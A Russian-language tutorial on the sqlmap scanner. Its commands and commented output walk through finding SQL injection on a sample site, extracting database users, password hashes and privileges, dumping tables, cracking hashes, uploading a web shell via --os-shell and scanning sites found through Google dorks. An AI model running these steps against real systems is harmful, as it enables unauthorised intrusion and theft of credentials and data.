- PVSM.RU - https://www.pvsm.ru -
Sqlmap — это программа с открытым исходным кодом, которая может стать отличным инструментом в руках пентестера. Главная задача сканера — автоматизированный поиск и эксплуатация sql уязвимостей. Sqlmap написан на python, а значит превосходно работает на большинстве современных операционных систем.
Программа обладает огромным функционалом, который поможет не только найти уязвимость, но и при совокупности некоторых факторов заполучить полный контроль над целевой машиной. Я постараюсь описать все возможности программы и привести наиболее интересные примеры работы с ней, а детально изучить утилиту вам поможет официальное пользовательское руководство [1].
Я перечислил практически все возможности этого замечательного сканера. Теперь я хочу показать несколько практических примеров, благодаря которым вы наглядно увидите работу сканера, а также познакомитесь с некоторыми параметрами.
В самом простом варианте sqlmap можно запустить так:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17
Этого будет достаточно для того, чтобы sqlmap начал свою тяжелую работу. Как можно легко догадаться, ключ -u задает адрес нашей цели. Сканер произведет запрос по заданному урл и будет анализировать все параметры, которые
мы указали в ссылке (id=17). Но давайте добавим немного полезных фич:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b659bbf7751c41" --auth-type Basic --auth-cred "user:password" --threads 3 --os="Linux"
Рассмотрим все параметры, используемые в этом запросе:
Теперь посмотрим на работу нашего сканера. Я немного обрезал вывод и оставил лишь самое интересное, при этом дополнив комментариями (/**/).:
[*] starting at: 04:04:35
[04:04:35] [INFO] using
'/home/lirvux/work/hack/sqlmap/output/www.sitefortest.kz/session' as session file
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter 'id' you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
/*Sqlmap сообщает, что ссылка не является стабильной и предупреждает нас о том,
* что для сравнения результатов запросов ему возможно потребуется задать строку
* (s) или регулярное выражение ®, по которому он сможет оринтироваться. Но
* можно попытаться и без этого, выбрав продолжить ©*/
[04:06:22] [INFO] heuristic test shows that GET parameter 'id' might be
injectable (possible DBMS: MySQL)
/*sqlmap предположил, что в качестве бекенда используется MySQL*/
[04:06:22] [INFO] testing sql injection on GET parameter 'id'
[04:06:22] [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'
[04:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based — WHERE or HAVING
clause'
[04:06:28] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based — WHERE or HAVING clause' injectable
[04:06:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:06:35] [INFO] testing 'MySQL UNION query (NULL) — 1 to 10 columns'
[04:06:39] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[y/N] y
/*Проведя некоторые тесты нам удалось узнать, что параметр id уязвим. Мы
* можем продолжить анализировать другие параметры (y) или же начать
* эксплуатировать найденную уязвимость (N)*/
sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),(SELECT (CASE WHEN (4188=4188) THEN 1 ELSE 0 END)),CHAR(58,108,116,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/*Выше мы видим запрос, который сформировал sqlmap, а ниже видим информацию о
* БД и сервере, которую sqlmap смог получить для нас*/
[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under '/home/lirvux/work/hack/sqlmap/output/sitefortest.kz'
[*] shutting down at: 04:06:53<
Вот так все легко и просто. Теперь давайте получим больше информации о системе и узнаем, какими же правами мы обладаем:
python sqlmap -u http://sitefortest.kz/index.php?id=17 --current-user --current-db -b --users --privileges --passwords
Так как мы уже нашли инъекцию, мы можем не указывать лишние параметры для их поиска, но такие, как юзерагент или данные для авторизации необходимо указывать при каждом запросе (ну или писать их в конфигурационном файле sqlmap.conf). Я же их опустил для простоты.
Вот такой ответ даст нам sqlmap:
[*] starting at: 04:37:39
— — [04:37:42] [INFO] fetching banner
banner: '5.1.49-1ubuntu8'
[04:37:42] [INFO] fetching current user
current user: 'root@localhost'
[04:37:42] [INFO] fetching current database
current database: 'online_test_ped'
[04:37:42] [INFO] fetching database users
database management system users [5]:
[*] 'debian-sys-maint'@'localhost',
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'sitefortest'
[*] 'test'@'localhost'
/*Мы поулчили инфомрацию о текущей БД и пользователе, а также узнали всех
* доступных пользователей*/
[04:37:42] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
/*sqlmap обнаружил хэши и предлагает нам устроить перебор по словарю (y). Мы
* конечно же соглашаемся*/
[04:37:57] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/home/lirvux/work/hack/sqlmap/txt/wordlist.txt]
[04:37:58] [INFO] loading dictionary from: '/home/lirvux/work/hack/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[04:38:08] [INFO] starting dictionary attack (mysql_passwd)
[04:39:50] [WARNING] no clear password(s) found
/*Sqlmap определил, что пароли зашифрованы методом mysql_passwd и предложил
* выбрать словарь для перебора. Мы выбрали дефолтный, но, к сожалению, ничего не
* подобрали*/
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *991A58143C8199F3CB137310E29F3AAB57203690
[*] root [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[*] test [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[04:39:50] [INFO] fetching database users privileges
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
— — privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
/*И наконец мы получили список привелегий всех пользователей. Я его обрезал, так
* как он слишком длинный*/
Неплохо! Теперь попробуем просмотреть содержимое какой-нибудь БД. Для этого пригодятся следующие параметры:
Пример:
python sqlmap http://sitefortest.kz/index.php?id=17 --dump -D site -T users --start=5 --stop=10
Таким образом, в файле output/sutefortest.kz/dump/site.users будет находиться дамп таблицы пользователей, начиная с 5 строчки и заканчивая 10. Ну и конечно же, дамп будет выведен в терминал. Если в каком-либо поле встретится хэш, то sqlmap, как обычно, предложит нам провести атаку по словарю.
Параметры, которые позволят нам скачивать и заливать файлы:
Если нашей целью является залить простенький веб шел, то нам даже не надо указывать файлы, а достаточно указать параметр --os-shell, который все сделает за нас.
Sqlmap позволяет нам тестировать сайты, прямо из поисковой выдачи гугла.
Например, вот так:
python sqlmap -g "inurl:?lesson=1" --beep --page-rank --gpage=10 --random-agent
На этом я закончу. Надеюсь, данная статья поможет вам поближе познакомиться с этой великолепной программой и облегчит ее дальнейшее изучение. Главное не стоит забывать, что наличие инструмента — это не главное. Очень важно понимать, как работает инструмент и использовать его лишь в качестве автоматизации рутины, а не в качестве замены собственного ума.
При написании данной статьи было использовано официальное пользовательское руководство [1]. Настоятельно рекомендую прочесть его всем, кто заинтересовался этим сканером. К сожалению, оно на английском, но я планирую в ближайшем будущем сделать перевод. Если у вас есть какие-либо вопросы по работе с sqlmap, то я буду рад на них ответить.
Автор: lirvux
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/16559
Ссылки в тексте:
[1] официальное пользовательское руководство: http://sqlmap.sourceforge.net/doc/README.pdf
Нажмите здесь для печати.